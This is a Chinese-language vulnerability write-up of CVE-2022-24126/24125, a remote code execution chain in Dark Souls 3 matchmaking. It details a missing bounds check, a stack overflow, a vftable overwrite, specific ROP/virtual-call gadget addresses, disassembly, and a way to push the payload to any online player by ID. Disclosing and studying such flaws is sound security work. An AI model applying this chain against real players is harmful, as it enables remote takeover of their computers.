漏洞利用摘要 (CVE-2022-24126)

在解析 NRSessionSearchResult 匹配数据时，由于对栈缓冲区及数据大小字段的边界检查不当，攻击者可借此执行任意代码。栈溢出允许攻击者覆盖流读取器内部使用的 DLMemoryInputStream 对象的低两个字节 vftable_ptr，从而将执行重定向到精心挑选的相邻代码。巧妙利用 DLMemoryInputStream 对象的结构及数据大小字段，即可实现任意代码重定向，此时 RCX 指向我们数据包的地址。由此，通过一系列具有不同偏移量的虚函数调用进行代码重定向（这些调用现在将跳转到我们写入数据包缓冲区的任意地址），即可实现任意代码执行。

传播途径 (CVE-2022-24125)

传播途径是使这一特定 RCE 尤为严重的原因（它本身已经是 RCE）。该漏洞利用通过包含 NRSessionSearchResult 信息的匹配推送请求进行传播。这意味着攻击者可以针对任何加入其在线会话的玩家。具体到黑暗之魂3：

• 召唤（PushRequestSummonSign）
• 暗灵入侵者（PushRequestAllowBreakInTarget）
• 通过誓约加入的玩家（PushRequestVisit）
• 竞技场战斗者（PushRequestAcceptQuickMatch）

这已经很糟糕了，但真正的潜力由 RequestSendMessageToPlayers 请求解锁：

message RequestSendMessageToPlayers { 
    repeated uint32 player_ids = 1; 
    required bytes push_message = 2;
}

主机使用此请求直接向入侵者发送 PushRequestAllowBreakInTarget 推送消息，以便他们获得出生坐标并加入其 P2P 会话。仅此而已。这是游戏使用此请求的唯一方式。

然而它允许任何客户端向成千上万的特定玩家发送任意推送消息。

我无法强调这究竟有多么不安全。任何玩家基本上都可以冒充匹配服务器。通过使用此请求经由 PushRequestVisit 发送漏洞利用，只要攻击者知道对方的玩家 ID，就可以远程攻击任何在线玩家。攻击者还可以通过发送多个请求（每个请求包含大量可能的玩家 ID 切片）来非常迅速地攻击整个在线玩家群体。

适用于所有游戏的通用利用策略

虽然该 RCE 无法完全移植到每款游戏，但赋予攻击者任意代码重定向能力的漏洞利用核心思想是相同的。如果能够实现这一点，就很可能找到特定于游戏的虚函数调用链或 ROP 链。这个“第一步”利用了以下漏洞：

Bug #1：条目列表解析器中缺少边界检查

包含会话加入信息的匹配推送请求将该信息存储为一种自定义二进制格式，该格式由一系列长度分隔的数据条目组成的链构成。每个条目的格式如下：

struct Entry
{
    uint32_t type_or_id; // 不确定，但可能是一个类型（定长 = 2，变长 = 1？）
    uint32_t size;
    uint8_t data[size];
}

负责复制这些条目数据的游戏函数盲目信任 size 字段，从而造成越界读取。恶意客户端可通过将 size 字段设置为 0x7FFFFFFF 之类的值来利用此漏洞，导致内存分配失败并使受害者游戏崩溃。随后，这个 size 还会被传递给 DLMemoryInputSteam 的构造函数，而这是该漏洞利用的关键组成部分。

Bug #2：NRSessionSearchResult 解析器中的缓冲区溢出

上述数据结构中的条目之一是序列化后的 NRSessionSearchResult 对象。该数据的解析器首先解析一个属性列表。这些属性可以是 4 字节整数、8 字节整数或以空字符结尾的宽字符串。该属性列表之后是主机 Steam 人名为以空字符结尾的宽字符串，以及一些对漏洞利用不重要的附加数据。该函数和属性列表解析器都使用固定大小的栈缓冲区来读取字符串，并且在这两种情况下均未对缓冲区执行边界检查。以下是负责复制主机名的游戏代码（使用 Ghidra 反编译器生成后经清理）：

size_t idx = 0;
wchar_t wchr = 0;
do {
  // read_wchar() 函数位于 DLEndianStreamReader 的 vftable 索引 17
  wchr = stream_reader->read_wchar();
  player_name_buff[idx] = wchr;
  idx++;
} while (wchr != 0);

这会导致缓冲区溢出漏洞利用，使攻击者能够破坏栈。

为虚函数调用 / ROP 链铺平道路

为了实现任意代码重定向，我们利用上述缺陷以及由调用解析器的函数在栈上实例化的 DLMemoryInputStream 对象的内存布局，该对象被流读取器在内部使用：

struct DLMemoryInputStream {
    uintptr_t* vftable_ptr; // 偏移量 0
    size_t data_size;       // 偏移量 4（32 位）/ 8（64 位）
    uint8_t* data_buffer;   // 偏移量 8（32 位）/ 16（64 位）
    // 缓冲区之后的条目对漏洞利用不重要
}

由于我们控制 data_size 字段（Bug #1），可将其设置为 data_buffer 字段的栈内存地址。只要该地址是常量且不太大，此操作就会成功（黑暗之魂3 满足这些要求）。由于编译器将栈缓冲区置于栈帧顶部，攻击者随后可利用 Bug #2 覆盖 DLMemoryInputStream 的 vftable_ptr 的低两个字节。因此，当下一次由 DLEndianStreamReader 读取字符时，它将在内部调用 DLMemoryInputStream，代码执行即被重定向。这 2 个字节提供了足够的空间来跳转到 DLEndianStreamReader vftable 中的第 22 个函数，该函数调用其第一个字段所指向对象的第 6 个虚方法。在 64 位进程（即黑暗之魂3）中，将执行以下指令：

MOV       RCX,qword ptr [RCX + 0x8]
MOV       RAX,qword ptr [RCX]
JMP       qword ptr [RAX + 0x40]

由于 RCX 是指向 DLMemoryInputStream 对象的指针，第一条指令会将 data_size 字段（攻击者已通过 Bug #1 将其设置为指向 data_buffer 字段的栈地址）写入 RCX。接下来的两条指令将把执行重定向到攻击者在数据缓冲区偏移量 0x40 处写入的内存地址。至此，任意代码重定向已经实现！从那里开始，攻击者可以设置一条代码重定向链，将他们的 payload 复制到合适的内存区域并执行，方法是选择靠近具有不同偏移量的虚函数调用的代码，因为缓冲区现在充当了虚方法表。对于黑暗之魂3 的概念验证，我找到了一个仅需 3 个 gadget 即可实现 RCE 的设置：

• 0x18: 140e97700
• 0x40: 1422be020
• 0x68: 140e40f15

黑暗之魂3 概念验证代码

运行 PoC 代码

攻击向量

对于概念验证，我决定使用通过 RequestSendMessageToPlayers 发送的 PushRequestVisit 消息。这是该漏洞利用最强有力的版本，因为目标端的游戏在收到数据后会在任何情况下（甚至在主菜单中）立即解析易受攻击的数据。

虚函数调用重定向链

偏移量 0x18: 140e97700

LEA       RAX,[DAT_144786150]
RET

该 gadget 用于偏移量 0x68 处的 gadget。我们需要将一个略低于但非常接近 144786998 的地址放入 RAX；这是最接近的一个。

偏移量 0x40: 1422be020

MOV       RDX,RAX
MOV       R8,qword ptr [RCX]
CALL      qword ptr [R8 + 0x68]

为了能够使用偏移量 0x68 处的 gadget，我们需要将数据缓冲区地址存储在 RDX 中，并保持 RCX 不变。该 gadget 恰好实现了这一点。

偏移量 0x68: 140e40f15

; 从偏移量 0x40 处的 gadget 跳转到此
MOV       RBX,RDX
CMP       R9,R8

 ; 从不跳转，R9 != R8
JZ        LAB_140e40f7a
MOV       RAX,qword ptr [RCX]
MOV       R8,qword ptr [RSP + 0x50]
MOV       RDX,R9
MOV       qword ptr [RSP + 0x30],RSI

; 调用偏移量 0x18 处的 gadget (140e97700)。将 144786150 加载到 RAX
CALL      qword ptr [RAX + 0x18]
MOV       RSI,RAX
TEST      RAX,RAX

; 从不跳转，RAX 是数据缓冲区地址。
JZ        LAB_140e40f4d 
CMP       RBP,RDI
MOV       RDX,RBX
MOV       RCX,RAX
CMOVC     RDI,RBP
MOV       R8,RDI ; RDI 是接近 14F3B0 的栈地址，因此 memcpy 得以成功
CALL      memcpy

LAB_140e40f4d:
TEST      RBX,RBX
; 从不跳转，因为 RBX == RDX == 数据缓冲区地址，非零。
JZ        LAB_140e40f62 

; 由于在 144786150 处执行的 memcpy，我们现在完全控制了这个 RWE 内存区域。RCE 已经实现！
MOV       RCX,qword ptr [DAT_144786998]
MOV       RDX,RBX
MOV       RAX,qword ptr [RCX]
CALL      qword ptr [RAX + 0x68]

这个 gadget 几乎为我们完成了所有工作。它调用偏移量 0x18 处的 gadget 获取 memcpy 目标指针，将我们的数据包复制到那里，然后对 144786998 处的静态对象调用偏移量 0x68 处的虚函数，而由于 memcpy 调用，我们现在完全控制了这个对象。由于 memcpy 破坏的内存量很大，且某些区域会被其他游戏线程持续写入，因此该漏洞利用首先加载一个“设置”payload，将其复制到安全位置，挂起所有其他线程，然后在跳转到实际 payload 之前重新复制它。更多信息请参见 rce.h。

补充信息

我建议查看概念验证代码的源代码，其中有大量注释详细说明了数据包的结构。如果你确实想实时查看每一步发生的情况（你应该看看，这很酷！），你可以在调试器下运行游戏并注入概念验证 DLL，在以下感兴趣地址处设置断点：

140ca5960

大体上是漏洞利用开始的地方。该函数负责解析 PushRequestVisit 消息的大小分隔条目列表数据。它首先将列表中的每个条目提取到不同的向量中：

0x140ca59f8:
    player_data_cpy_ptr = (std_vector *)VectorCopy2_140ca4ef0(&player_data_cpy,player_data);
    FUN_140ca5010(player_data_cpy_ptr,&spawn_data,0x1c);
    FUN_140ca5010(player_data_cpy_ptr,&unk,4);
    FUN_140ca4fa0(player_data_cpy_ptr,&nrssr_data);